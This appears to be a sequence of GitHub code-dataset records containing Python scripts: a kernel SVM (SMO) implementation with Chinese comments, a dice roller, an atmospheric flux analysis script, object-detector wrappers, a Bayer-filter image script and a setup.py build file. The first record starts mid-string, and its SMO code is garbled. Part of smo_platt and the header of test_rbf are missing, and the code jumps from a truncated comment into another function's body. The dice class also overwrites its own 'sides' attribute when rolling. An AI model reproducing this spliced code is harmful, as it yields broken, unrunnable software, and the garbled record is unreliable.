r'D:\\Desktop\\新建文件夹\\machinelearninginaction3x-master\\Ch06\\testSetRBF.txt'\r\nTestFile = r'D:\\Desktop\\新建文件夹\\machinelearninginaction3x-master\\Ch06\\testSetRBF2.txt'\r\n\r\n\r\n# #####函数定义区域#####\r\n# #####以下是没有变化的函数#####\r\ndef load_data_set(file_name): # 读入数据组\r\n data_mat = []\r\n label_mat = []\r\n fr = open(file_name)\r\n for line in fr.readlines():\r\n line_arr = line.strip().split('\\t')\r\n data_mat.append([float(line_arr[0]), float(line_arr[1])])\r\n label_mat.append(float(line_arr[2]))\r\n return data_mat, label_mat\r\n\r\n\r\ndef clip_alpha(aj, high, low): # 大于high就把aj调成high，小于low就把aj调成low\r\n if aj > high:\r\n aj = high\r\n if low > aj:\r\n aj = low\r\n return aj\r\n\r\n\r\ndef select_j_rand(i, m): # i：第一个alpha的下标；m：所有alpha的数目\r\n j = i # 要选一个和i不一样的j\r\n while j == i:\r\n j = int(numpy.random.uniform(0, m)) # 相等就重新抽\r\n return j\r\n\r\n\r\ndef select_j(i, opt_struct, error_i): # 选择第二个alpha/内循环的alpha值 -heurstic, and calcs error_j\r\n max_k = -1 # 初始化最大位置k为-1\r\n max_delta_error = 0 # 初始化最大delta_error为0\r\n error_j = 0 # 初始化返回的error_j=0\r\n opt_struct.eCache[i] = [1, error_i] # 设置有i的有效标志位 #choose the alpha that gives the maximum delta E\r\n valid_ecache_list = numpy.nonzero(opt_struct.eCache[:, 0].A)[0] # 筛选eCache第0维里不是零的（即有效的），返回他们的索引值的第0维度\r\n if (len(valid_ecache_list)) > 1: # 已经有非零的值了（不是第一轮选择）\r\n for k in valid_ecache_list: # 遍历有效的Ecache值，找到让delta_error最大的那个\r\n if k == i: # k=i，过。\r\n continue\r\n error_k = calc_error_k(opt_struct, k) # 算一下error_k\r\n delta_error = abs(error_i - error_k) # 求error_k和error_i的差值\r\n if delta_error > max_delta_error: # 更大，更新\r\n max_k = k # 更新\r\n max_delta_error = delta_error # 更新最大值\r\n error_j = error_k # 更新返回值\r\n return max_k, error_j\r\n else: # #没有非零的值（是第一轮选择）我们没有可用的eCache值，随机选择\r\n j = select_j_rand(i, opt_struct.m)\r\n error_j = calc_error_k(opt_struct, j)\r\n return j, error_j\r\n\r\n\r\ndef update_error_k(opt_struct, k): # 每次alpha改变了就要更新他的误差缓存\r\n error_k = calc_error_k(opt_struct, k)\r\n opt_struct.eCache[k] = [1, error_k]\r\n\r\n\r\n# #####以上是没有变化的函数#####\r\n# #####以下是有变化的函数#####\r\ndef kernel_trans(x, a, k_tuple): # 计算核函数/把数据映射到高维空间\r\n m, n = numpy.shape(x)\r\n k = numpy.mat(numpy.zeros((m, 1)))\r\n if k_tuple[0] == 'lin': # 线性核函数\r\n k = x * a.T\r\n elif k_tuple[0] == 'rbf': # 径向基函数\r\n for j in range(m):\r\n delta_row = x[j, :] - a\r\n k[j] = delta_row * delta_row.T\r\n k = numpy.exp(k / (-1 * k_tuple[1] ** 2)) # 逐个元素相除\r\n else:\r\n raise NameError('核函数无法识别')\r\n return k\r\n\r\n\r\nclass OptStruct: # 增加了.K参数\r\n def __init__(self, data_mat_in, class_labels, c, tolerate, k_tuple): # 用参数来初始化结构体\r\n self.X = data_mat_in\r\n self.labelMat = class_labels\r\n self.C = c\r\n self.tol = tolerate\r\n self.m = numpy.shape(data_mat_in)[0]\r\n self.alphas = numpy.mat(numpy.zeros((self.m, 1)))\r\n self.b = 0\r\n self.eCache = numpy.mat(numpy.zeros((self.m, 2))) # 第一栏是有效标志符\r\n self.K = numpy.mat(numpy.zeros((self.m, self.m)))\r\n for i in range(self.m):\r\n self.K[:, i] = kernel_trans(self.X, self.X[i, :], k_tuple)\r\n\r\n\r\ndef calc_error_k(opt_struct, k): # f_xk的计算有改动\r\n f_xk = float(numpy.multiply(opt_struct.alphas, opt_struct.labelMat).T * opt_struct.K[:, k] + opt_struct.b)\r\n error_k = f_xk - float(opt_struct.labelMat[k])\r\n return error_k\r\n\r\n\r\ndef inner_loop(i, opt_struct): # eta的计算变成了用核函数的版本\r\n error_i = calc_error_k(opt_struct, i)\r\n # opt_struct.tol：容忍错误的程度\r\n # labelMat[i]*Ei < -opt_struct.tol，且不>=C，则alphas[i]要增大\r\n # labelMat[i]*Ei > opt_struct.tol，且不<=0,则alphas[i]要减小\r\n if ((opt_struct.labelMat[i] * error_i < -opt_struct.tol) and (opt_struct.alphas[i] < opt_struct.C)) or ((opt_struct.labelMat[i] * error_i > opt_struct.tol) and (opt_struct.alphas[i] > 0)):\r\n j, error_j = select_j(i, opt_struct, error_i) # 第一次选择，结果是用select_j_rand产生的\r\n alpha_i_old = opt_struct.alphas[i].copy()\r\n alpha_j_old = opt_struct.alphas[j].copy()\r\n if opt_struct.labelMat[i] != opt_struct.labelMat[j]:\r\n low = max(0, opt_struct.alphas[j] - opt_struct.alphas[i])\r\n high = min(opt_struct.C, opt_struct.C + opt_struct.alphas[j] - opt_struct.alphas[i])\r\n else:\r\n low = max(0, opt_struct.alphas[j] + opt_struct.alphas[i] - opt_struct.C)\r\n high = min(opt_struct.C, opt_struct.alphas[j] + opt_struct.alphas[i])\r\n if low == high:\r\n print(\"low==high\")\r\n return 0\r\n eta = 2.0 * opt_struct.K[i, j] - opt_struct.K[i, i] - opt_struct.K[j, j] # 改为了用核函数的\r\n if eta >= 0:\r\n print(\"eta>=0\")\r\n return 0\r\n opt_struct.alphas[j] -= opt_struct.labelMat[j] * (error_i - error_j) / eta\r\n opt_struct.alphas[j] = clip_alpha(opt_struct.alphas[j], high, low)\r\n update_error_k(opt_struct, j) # 更新一下ecache\r\n if abs(opt_struct.alphas[j] - alpha_j_old) < 0.00001:\r\n print(\"j变化不大\")\r\n return 0\r\n opt_struct.alphas[i] += opt_struct.labelMat[j] * opt_struct.labelMat[i] * (alpha_j_old - opt_struct.alphas[j]) # 对ai进行和aj一样多的改变(相反方向更新）\r\n update_error_k(opt_struct, i) # 更新一下ecache\r\n # 为ai、aj设置一组常数项\r\n b1 = opt_struct.b - error_i - opt_struct.labelMat[i] * (opt_struct.alphas[i] - alpha_i_old) * opt_struct.K[i, i] - opt_struct.labelMat[j] * (opt_struct.alphas[j] - alpha_j_old) * opt_struct.K[i, j]\r\n b2 = opt_struct.b - error_j - opt_struct.labelMat[i] * (opt_struct.alphas[i] - alpha_i_old) * opt_struct.K[i, j] - opt_struct.labelMat[j] * (opt_struct.alphas[j] - alpha_j_old) * opt_struct.K[j, j]\r\n if (0 < opt_struct.alphas[i]) and (opt_struct.C > opt_struct.alphas[i]):\r\n opt_struct.b = b1\r\n elif (0 < opt_struct.alphas[j]) and (opt_struct.C > opt_struct.alphas[j]):\r\n opt_struct.b = b2\r\n else:\r\n opt_struct.b = (b1 + b2) / 2.0\r\n return 1 # 返回1，有变化\r\n else:\r\n return 0 # 返回0，没变化\r\n\r\n\r\ndef smo_platt(data_mat_in, class_labels, c, tolerate, max_iter, k_tuple=('lin', 0)): # 初始化opt_struct的语句增加了k_tuple\r\n opt_struct = OptStruct(numpy.mat(data_mat_in), numpy.mat(class_labels).transpose(), c, tolerate, k_tuple)\r\n iteration = 0\r\n entire_set = True\r\n alpha_pairs_changed = 0\r\n while (iteration < max_iter) and ((alpha_pairs_changed > 0) or entire_set):\r\n alpha_pairs_changed = 0\r\n if entire_set: # 遍历整组\r\n for i in range(opt_struct.m):\r\n alpha_pairs_changed += inner_loop(i, opt_struct)\r\n print(\"【整个数据组遍历】迭代次数为：%d，i：%d，成对改变了%d次\" % (iteration, i, alpha_pairs_changed))\r\n iteration += 1\r\n else: # 遍历非边��值\r\n non_bound_is = numpy.nonzero((opt_struct.alphas.A > 0) * (opt_struct.alphas.A < c))[0] # 也就是0 0)[0]\r\n select_vs = dat_mat[sv_index] # 只要支持向量的矩阵\r\n label_sv = label_mat[sv_index]\r\n print(\"有%d个支持向量\" % numpy.shape(select_vs)[0])\r\n m, n = numpy.shape(dat_mat)\r\n error_count = 0\r\n for i in range(m):\r\n kernel_eval = kernel_trans(select_vs, dat_mat[i, :], ('rbf', k1))\r\n predict = kernel_eval.T * numpy.multiply(label_sv, alphas[sv_index]) + b\r\n if numpy.sign(predict) != numpy.sign(label_arr[i]):\r\n error_count += 1\r\n print(\"训练组的错误率为：%f\" % (float(error_count) / m))\r\n data_arr, label_arr = load_data_set(TestFile)\r\n error_count = 0\r\n dat_mat = numpy.mat(data_arr)\r\n # label_mat = numpy.mat(label_arr).transpose()\r\n m, n = numpy.shape(dat_mat)\r\n for i in range(m):\r\n kernel_eval = kernel_trans(select_vs, dat_mat[i, :], ('rbf', k1))\r\n predict = kernel_eval.T * numpy.multiply(label_sv, alphas[sv_index]) + b\r\n if numpy.sign(predict) != numpy.sign(label_arr[i]):\r\n error_count += 1\r\n print(\"测试组的错误率为：%f\" % (float(error_count) / m))\r\n\r\n\r\n# #####运行区域#####\r\ntest_rbf(k1=1.3)\r\n","repo_name":"woshicby/learning_records","sub_path":"人工智能与数据挖掘/机器学习实战/6.5：支持向量机-在复杂数据上应用核函数.py","file_name":"6.5：支持向量机-在复杂数据上应用核函数.py","file_ext":"py","file_size_in_byte":9986,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"13992861917","text":"from random import randint\n\nclass Die():\n def __init__(self, sides=6):\n self.sides = sides\n\n def roll_die(self):\n self.sides = randint(1, 6)\n\n def roll_die_10(self):\n self.sides = randint(1, 10)\n\n def roll_die_20(self):\n self.sides = randint(1, 20)\n\nmy_die = Die()\nresult = []\nfor i in range(10):\n my_die.roll_die()\n result.append(my_die.sides)\n\nresult_10 = []\nfor i in range(10):\n my_die.roll_die_10()\n result_10.append(my_die.sides)\n\nresult_20 = []\nfor i in range(10):\n my_die.roll_die_20()\n result_20.append(my_die.sides)\n\nprint(result)\nprint(result_10)\nprint(result_20)\n\n \n","repo_name":"xue9981/LP2","sub_path":"Chapter09/die.py","file_name":"die.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40787790662","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nDies ist eine temporäre Skriptdatei.\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport calendar\r\nimport datetime\r\n#from matplotlib.dates import HourLocator\r\nfrom time import gmtime,strftime\r\nimport sys\r\n\r\nabb_path='/mnt/lustre02/work/um0203/u301025/Abbildungen/Fluxes/'\r\nvarpath='/mnt/lustre02/work/um0203/u301025/Variablen/'\r\n# cd = '/mnt/lustre02/work/um0203/u301025/Masterarbeit/Eureka/Daten/'+station+'/Level0b_RawData20HzDaily/'\r\nday_min, day_max = int(sys.argv[1]), int(sys.argv[2])\r\nprint(day_min,day_max)\r\nmonth= int(sys.argv[3])\r\n# print(month)\r\nday_arr=np.arange(day_min,day_max+1,1)\r\nday=list((day_arr)) \r\nday=['%02d' %elem for elem in day] \r\nmonth=['%02d' %(month)]#['01']#['01','02','03']\r\nstation=str(sys.argv[4])#['bug']\r\n# station1=str(sys.argv[5])#'BUG'\r\nanz=len(day)*len(month)\r\n\r\nfco2=np.zeros((48,len(day),len(month)))\r\nfh2o=np.zeros((48,len(day),len(month)))\r\nfmom=np.zeros((48,len(day),len(month)))\r\nfmom2=np.zeros((48,len(day),len(month)))\r\nfsen=np.zeros((48,len(day),len(month)))\r\nflat=np.zeros((48,len(day),len(month)))\r\n\r\nFco2=np.zeros((48*len(day)*len(month)))\r\nFh2o=np.zeros((48*len(day)*len(month)))\r\nFmom=np.zeros((48*len(day)*len(month)))\r\nFmom2=np.zeros((48*len(day)*len(month)))\r\nFsen=np.zeros((48*len(day)*len(month)))\r\nFlat=np.zeros((48*len(day)*len(month)))\r\na=0\r\ncp=1004.8 #j/kg K\r\nRw=461.45 #j/kg K\r\nRl=287.05#j/kg K\r\n\r\nfor m in month:\r\n for d in day:\r\n# fname1='../../Eureka/Daten/'+station+'/Level0b_RawData20HzDaily/E4C_METEOR_UBUG_RAW_DAYS_2020'+m+d+'/2020'+m+d+'-UBUG'\r\n#'../data/Bug/2020'+m+d+'-'+z+'0000-UTC-UBUG-COM1.raw' #18.01/20200118-'+z+'0000-UTC-UBUG-COM1.raw'\r\n# fname2='../data/Bug/2020'+m+d+'-'+z+'0000-UTC-LBUG-COM3.raw''\r\n j=day.index(d)\r\n # k=month.index(m)\r\n# interval=[0,len(usatdata['E3'])/2,len(usatdata['E3'])]\r\n \r\n# usatdata entspricht meanval(30min)\r\n usatdata =pd.read_csv(varpath+station+'meanval_'+d+m+'.csv', delimiter=\",\", decimal='.')\r\n# licordata =pd.read_csv(fname2, delimiter=\";\", skiprows=1, skipfooter=4, decimal=',', engine='python')\r\n \r\n# usatdata.iloc[np.flatnonzero(usatdata['D']>210.),:]=np.nan\r\n# usatdata.iloc[np.flatnonzero(usatdata['D']<150.),:]=np.nan\r\n# licordata.iloc[np.flatnonzero(usatdata['D']>210.),:]=np.nan\r\n# licordata.iloc[np.flatnonzero(usatdata['D']<150.),:]=np.nan\r\n Lv=2501000-2370*usatdata['T'] #J/kg\r\n# sinphi=usatdata['Z'][:]/(np.sqrt((usatdata['X'][:])**2+(usatdata['Y'][:])**2+usatdata['Z'][:]**2))\r\n# cosphi=np.sqrt(((usatdata['X'][:]))**2+((usatdata['Y'][:]))**2)/(np.sqrt(((usatdata['X'][:]))**2+((usatdata['Y'][:]))**2+((usatdata['Z'][:]))**2))\r\n# sigmaz=np.sqrt((usatdata['Z'][:]**2)-(usatdata['Z'][:])**2)\r\n# sigmax=np.sqrt((usatdata['X'][:]**2)-(usatdata['X'][:])**2)\r\n# sigmay=np.sqrt((usatdata['Y'][:]**2)-(usatdata['Y'][:])**2)\r\n# teta=np.arctan2((usatdata['X'][:]),(usatdata['Y'][:]))\r\n# sigmaxy=(usatdata['XY'][:])-(usatdata['X'][:])*(usatdata['Y'][:])\r\n# sigmaxz=(usatdata['XZ'][:])-(usatdata['X'][:])*(usatdata['Z'][:])\r\n# sigmayz=(usatdata['YZ'][:])-(usatdata['Y'][:])*(usatdata['Z'][:])\r\n# sigmal=np.sqrt(sigmay**2*np.cos(teta)**2+2*sigmaxy*np.sin(teta)*np.cos(teta)+sigmax**2*np.sin(teta)**2)\r\n# sigmalz=sigmaxz*np.sin(teta)+sigmayz*np.cos(teta)\r\n# uschub=sigmalz*(sinphi**2-cosphi**2)+(sigmal**2-sigmaz**2)*sinphi*cosphi\r\n# uschub2=np.sqrt(np.sqrt((usatdata['XZ'][:]-usatdata['X']*usatdata['Z'])**2+(usatdata['YZ'][:]-usatdata['Y']*usatdata['Z'])**2))\r\n\r\n #Flüsse\r\n fco2[:,j]=((usatdata['ZCO2'][:])-((usatdata['Z'][:])*(usatdata['rhoco2'][:])))*1e06 #mg/m2s\r\n fh2o[:,j]=((usatdata['ZH2O'][:])-((usatdata['Z'][:])*(usatdata['rhoh2o'][:])))*1e06 #mg/m2s\r\n fsen[:,j]=(usatdata['rho'][:])*cp*(usatdata['ZT'][:]-(usatdata['Z'][:]*(usatdata['T'][:]+273.15))) #w/m2\r\n #kommender ausdruck ergibt das gleiche wie fmom\r\n #fmom1[:,j,k]=-(usatdata['rho'][:])*uschub2[:]**2\r\n \r\n## fmom2[:,j,k]=-(usatdata['rho'][:])*(usatdata['XZ'])-((usatdata['X'])*(usatdata['Z']))\r\n\r\n fmom[:,j]=(usatdata['rho'][:])*np.sqrt((usatdata['XZ'][:]-usatdata['X']*usatdata['Z'])**2+(usatdata['YZ'][:]-usatdata['Y']*usatdata['Z'])**2)\r\n flat[:,j]=Lv*fh2o[:,j]/1e06\r\n \r\n Fco2[a:(a+48)]=fco2[:,j]\r\n Fh2o[a:(a+48)]=fh2o[:,j]\r\n Fsen[a:(a+48)]=fsen[:,j]\r\n Fmom[a:(a+48)]=fmom[:,j]\r\n# Fmom2[a:(a+48)]=fmom2[:,j,k]\r\n Flat[a:(a+48)]=flat[:,j]\r\n \r\n a=a+48\r\nachse=[]\r\ndate = datetime.datetime(2020, int(month[0]), int(day[0]))\r\nbla=calendar.timegm(date.timetuple())\r\n#für 00, 06,12,18uhr abstände, also wenn nur 1-2 tage geplottet werden\r\n#for e in range(0,48*len(day)*len(month)*3600,6*3600):\r\n# achse.append(strftime(\"%H:%M\", gmtime(e)))\r\n #nur datum, also wenn nur mehr tage geplottet werden \r\nfor e in range(0,48*len(day)*len(month)*3600,24*3600):\r\n achse.append(strftime(\"%d.%m\", gmtime(e+bla))) \r\n\r\nfig=plt.figure(4) \r\nax1 = fig.add_subplot(1,1,1) \r\nax1.plot(Fco2[:])\r\nax1.set_title('CO2 flux from {day1}.{month1} to {day2}.{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m),fontsize=12)\r\nax1.set_ylabel('CO2 flux/mg s-1 m-2',fontsize=12)\r\nax1.set_xlabel('time',fontsize=12)\r\nax1.set_xticks(np.arange(0,48*len(day)*len(month),48))#12statt 48\r\nax1.set_xticklabels(achse[:])\r\n#ax1.set_ylim(-1,1)\r\n#ax1.set_xticklabels(day[:])\r\nplt.savefig(abb_path+station+'co2_30min_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m))\r\nplt.figure(5)\r\nplt.plot(Fh2o[:])\r\nplt.title('H2O flux from {day1}.{month1} to {day2}.{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m),fontsize=12)\r\nplt.ylabel('H2O flux/mg s-1 m-2',fontsize=12)\r\nplt.xlabel('time',fontsize=12)\r\nplt.xticks(np.arange(0,48*len(day)*len(month),48),achse[:])\r\n#plt.xticks(np.arange(0,48*len(day)*len(month),48),day[:])\r\nplt.savefig(abb_path+station+'h2o_30min_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m))\r\nplt.figure(9)\r\nplt.plot(Flat[:])\r\nplt.title('latent heat flux from {day1}.{month1} to {day2}.{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m),fontsize=12)\r\nplt.ylabel('latent heat flux/W m-2',fontsize=12)\r\nplt.xlabel('time',fontsize=12)\r\nplt.xticks(np.arange(0,48*len(day)*len(month),48),achse[:])\r\n#plt.xticks(np.arange(0,48*len(day)*len(month),48),day[:])\r\nplt.savefig(abb_path+station+'lat_30min_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m))\r\nplt.figure(6)\r\nplt.plot(Fmom[:])\r\nplt.title('momentum flux from {day1}.{month1} to {day2}.{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m),fontsize=12)\r\nplt.ylabel('momentum flux/N m-2',fontsize=12)\r\nplt.xlabel('time',fontsize=12)\r\nplt.xticks(np.arange(0,48*len(day)*len(month),48),achse[:])\r\n#plt.xticks(np.arange(0,48*len(day)*len(month),48),day[:])\r\nplt.savefig(abb_path+station+'momentum_30min_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m))\r\n#plt.figure(7)\r\n#plt.plot(Fmom2[:])\r\n#plt.title('momentum flux 2 from {day1}.{month1} to {day2}.{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m),fontsize=12)\r\n#plt.ylabel('momentum flux/N m-2',fontsize=12)\r\n#plt.xlabel('hours',fontsize=12)\r\nplt.figure(8)\r\nplt.plot(Fsen[:])\r\nplt.title('sensible heat flux from {day1}.{month1} to {day2}.{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m),fontsize=12)\r\nplt.ylabel('sensible heat flux/W m-2',fontsize=12)\r\nplt.xlabel('time',fontsize=12)\r\nplt.xticks(np.arange(0,48*len(day)*len(month),48),achse[:])\r\n#plt.xticks(np.arange(0,48*len(day)*len(month),48),day[:])\r\nplt.savefig(abb_path+station+'sens_30min_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m))\r\n\r\nnp.save(varpath+station+'fh2o_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m), fh2o[:,:,:])\r\nnp.save(varpath+station+'fco2_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m), fco2[:,:,:])\r\nnp.save(varpath+station+'fmom_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m), fmom[:,:,:])\r\nnp.save(varpath+station+'fsen_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m), fsen[:,:,:])\r\nnp.save(varpath+station+'flat_{day1}{month1}-{day2}{month2}'.format(day1=day[0],month1=month[0],day2=d,month2=m), flat[:,:,:])\r\n\r\n#test=np.load(station+'fh2o_{day1}{month1}-{day2}{month2}.npy'.format(day1=day[0],month1=month[0],day2=d,month2=m))","repo_name":"schirmi98/Masterarbeit","sub_path":"fluxes_data_30min_neuesdatenformat_mistral.py","file_name":"fluxes_data_30min_neuesdatenformat_mistral.py","file_ext":"py","file_size_in_byte":8847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12034875548","text":"\"\"\"\r\nImplementations of object detectors.\r\n\"\"\"\r\nimport abc\r\nimport numpy as np\r\n\r\nfrom detectron2.utils.logger import setup_logger\r\nfrom detectron2 import model_zoo\r\nfrom detectron2.engine import DefaultPredictor\r\nfrom detectron2.config import get_cfg\r\n\r\nfrom darknetpy.detector import Detector\r\n\r\n\r\nclass ObjectDetector(abc.ABC):\r\n @abc.abstractmethod\r\n def detect_humans(self, img, img_path, logger):\r\n \"\"\" Returns the object detector's prediction for the image.\"\"\"\r\n pass\r\n\r\n @abc.abstractmethod\r\n def get_human_boxes(self, outputs, logger):\r\n \"\"\"\r\n Given the predictor's output for an image, returns a list of\r\n bounding box tuples in the form (x1, y1, x2, y2) for the humans in an\r\n image, where x1 <= x2 and y1 <= y2.\r\n \"\"\"\r\n pass\r\n\r\n\r\nclass FasterRCNNObjectDetector(ObjectDetector):\r\n MODEL_ZOO_CONFIG = \"COCO-Detection/faster_rcnn_R_50_C4_3x.yaml\"\r\n MODEL_ZOO_WEIGHTS = \"COCO-Detection/faster_rcnn_R_50_C4_3x.yaml\"\r\n\r\n def __init__(self, use_cpu=False):\r\n setup_logger()\r\n cfg = get_cfg()\r\n cfg.merge_from_file(model_zoo.get_config_file(self.MODEL_ZOO_CONFIG))\r\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.9\r\n cfg.MODEL.WEIGHTS = model_zoo.get_checkpoint_url(self.MODEL_ZOO_WEIGHTS)\r\n\r\n if use_cpu:\r\n # Using CPU instead of CUDA in order to enable running on Macs\r\n cfg.MODEL.DEVICE = \"cpu\"\r\n\r\n self.predictor = DefaultPredictor(cfg)\r\n\r\n def detect_humans(self, img, img_path, logger):\r\n return self.predictor(img)\r\n\r\n def get_human_boxes(self, outputs, logger):\r\n classes = outputs['instances'].pred_classes.cpu().numpy()\r\n indexes = np.where(classes == 0)[0]\r\n boxes = outputs['instances'].pred_boxes.tensor.cpu().numpy()\r\n boxes_list = boxes[indexes].tolist()\r\n\r\n logger.log['detected_humans_per_frame'].append(len(boxes_list))\r\n logger.log['boxes_per_frame'].append(boxes_list)\r\n return boxes_list\r\n\r\n\r\nclass YOLOThreeObjectDetector(ObjectDetector):\r\n DARKNET_CFG_COCO_DATA = \"./yolo_darknet_cfg/coco.data\"\r\n DARKNET_CFG_YOLO_CFG = \"./yolo_darknet_cfg/yolov3.cfg\"\r\n YOLO_WEIGHTS = \"./yolov3.weights\"\r\n\r\n def __init__(self):\r\n self.detector = Detector(\r\n self.DARKNET_CFG_COCO_DATA,\r\n self.DARKNET_CFG_YOLO_CFG,\r\n self.YOLO_WEIGHTS\r\n )\r\n\r\n def detect_humans(self, img, img_path, logger):\r\n return self.detector.detect(img_path)\r\n\r\n def get_human_boxes(self, outputs, logger):\r\n boxes_list = [[b['left'], b['top'], b['right'], b['bottom']] for b in outputs\r\n if b['class'] == 'person' and b['prob'] >= 0.95]\r\n logger.log['detected_humans_per_frame'].append(len(boxes_list))\r\n logger.log['boxes_per_frame'].append(boxes_list)\r\n return boxes_list\r\n","repo_name":"khizr/SocialDistancingDetector","sub_path":"object_detection.py","file_name":"object_detection.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3385468310","text":"from PIL import Image\nimport numpy\n\nsrcArray = numpy.array(Image.open(\"img.jpg\"), dtype=numpy.uint8)\nw, h, _ = srcArray.shape\nresArray = numpy.zeros((2 * w, 2 * h, 3), dtype=numpy.uint8)\nresArray[::2, ::2, 2] = srcArray[:, :, 2]\nresArray[1::2, ::2, 1] = srcArray[:, :, 1]\nresArray[::2, 1::2, 1] = srcArray[:, :, 1]\nresArray[1::2, 1::2, 0] = srcArray[:, :, 0]\n\nImage.fromarray(resArray, \"RGB\").save(\"o.png\")\n","repo_name":"alyonagerasimova/Image_processing","sub_path":"lab 1/2-bayer/bayerization.py","file_name":"bayerization.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38724555203","text":"import sys\nimport os\nimport glob\nimport re\n\nfrom setuptools import setup, Extension\nfrom setuptools.command.build_ext import build_ext\nfrom setuptools.command.build_py import build_py\nfrom distutils.file_util import copy_file\nfrom distutils.dir_util import copy_tree, mkpath, remove_tree\nimport subprocess as sp\n\nimport platform\nsystem = platform.system().lower()\n\ndyn_ext = 'so'\nif system == 'darwin':\n dyn_ext = 'dylib'\nelif system == 'windows':\n dyn_ext = 'dll'\n\ndebug = os.environ.get(\"DEBUG\")\ntarget_dir = os.environ.get(\"CARGO_TARGET_DIR\")\n\nif not debug:\n debug = False\nif not target_dir:\n target_dir = \"../target\"\n\n\nclass FirstBuildExt(build_py):\n def run(self):\n self.run_command(\"build_ext\")\n return super().run()\n\n\nclass CargoExtension(Extension):\n def __init__(self,\n target,\n src,\n dst,\n features=[]):\n Extension.__init__(self, target, sources=[])\n self.target = target\n self.src = src\n self.dst = dst\n self.features = features\n\n def build(self):\n command = ['cargo', 'build', '-p', self.target]\n if len(self.features) != 0:\n command.append('--features')\n command.append(' '.join(self.features))\n if not debug:\n command.append('--release')\n sp.check_call(command)\n\n def install(self, prefix):\n copy_file('{}/{}'.format(prefix, self.src), 'megflow/{}'.format(self.dst))\n\n\nclass CopyExtension(Extension):\n def __init__(self, pattern, src, dst):\n Extension.__init__(self, '', sources=[])\n self.src = src\n self.dst = dst\n self.pattern = pattern\n\n def copy(self):\n mkpath('megflow/{}'.format(self.dst))\n paths = glob.glob(self.src)\n paths = [ x for x in paths if self.pattern.fullmatch(x) ]\n\n for path in paths:\n copy_file(path, 'megflow/{}'.format(self.dst))\n\n\nclass ExtBuild(build_ext):\n def run(self):\n current_dir = os.getcwd()\n repo = os.path.dirname(current_dir)\n \n prefix = target_dir\n if debug:\n prefix += '/debug'\n else:\n prefix += '/release'\n\n for ext in self.extensions:\n if isinstance(ext, CargoExtension):\n ext.build()\n ext.install(prefix)\n if isinstance(ext, CopyExtension):\n ext.copy()\n\n\nif __name__ == '__main__':\n ext_modules=[\n CargoExtension(\"flow-python\", f\"libflow_python.{dyn_ext}\", f\"megflow.{dyn_ext}\", features=[\"extension-module\"]), \n CargoExtension(\"flow-quickstart\", \"megflow_quickstart\", \"megflow_quickstart_inner\"),\n ]\n\n ffmpeg_dir = os.getenv('FFMPEG_DIR')\n prebuild = os.getenv('CARGO_FEATURE_DYNAMIC')\n if prebuild is not None and ffmpeg_dir is not None:\n pattern = re.compile(f'.*?{dyn_ext}\\.[0-9]*')\n ext_modules.append(CopyExtension(pattern, f\"{ffmpeg_dir}/lib/*.{dyn_ext}.*\", \"lib/\"))\n\n current_dir = os.getcwd()\n with open(current_dir+'/Cargo.toml') as f:\n pattern = re.compile(r'\\d+\\.(?:\\d+\\.)*\\d+')\n for line in f:\n if line.startswith('version'):\n version = re.search(pattern, line).group()\n break\n\n setup(\n options={\n 'bdist_wheel': {\n 'py_limited_api': \"cp36\",\n }\n },\n name=\"megflow\",\n version=version,\n packages=[\"megflow\"],\n author=\"Megvii IPU-SDK Team\",\n author_email=\"megengine@megvii.com\",\n url=\"https://github.com/MegEngine/MegFlow\",\n include_package_data=True,\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Apache Software License',\n 'Natural Language :: English',\n 'Operating System :: POSIX :: Linux',\n 'Programming Language :: Rust',\n 'Programming Language :: Python :: 3',\n 'Topic :: Software Development :: Libraries :: Application Frameworks',\n 'Topic :: Scientific/Engineering',\n 'Topic :: Scientific/Engineering :: Mathematics',\n 'Topic :: Scientific/Engineering :: Artificial Intelligence',\n 'Topic :: Software Development',\n 'Topic :: Software Development :: Libraries',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ],\n ext_modules=ext_modules,\n package_data={\"\": [f'megflow.{dyn_ext}', 'lib/*', 'megflow_quickstart_inner']},\n entry_points={\n 'console_scripts':['megflow_run=megflow.command_line:megflow_run', 'run_with_plugins=megflow.command_line:run_with_plugins', 'megflow_quickstart=megflow.command_line:megflow_quickstart'],\n },\n cmdclass={\n 'build_ext': ExtBuild,\n 'build_py': FirstBuildExt\n },\n zip_safe=False,\n )\n","repo_name":"MegEngine/MegFlow","sub_path":"flow-python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4957,"program_lang":"python","lang":"en","doc_type":"code","stars":390,"dataset":"github-code","pt":"47"} 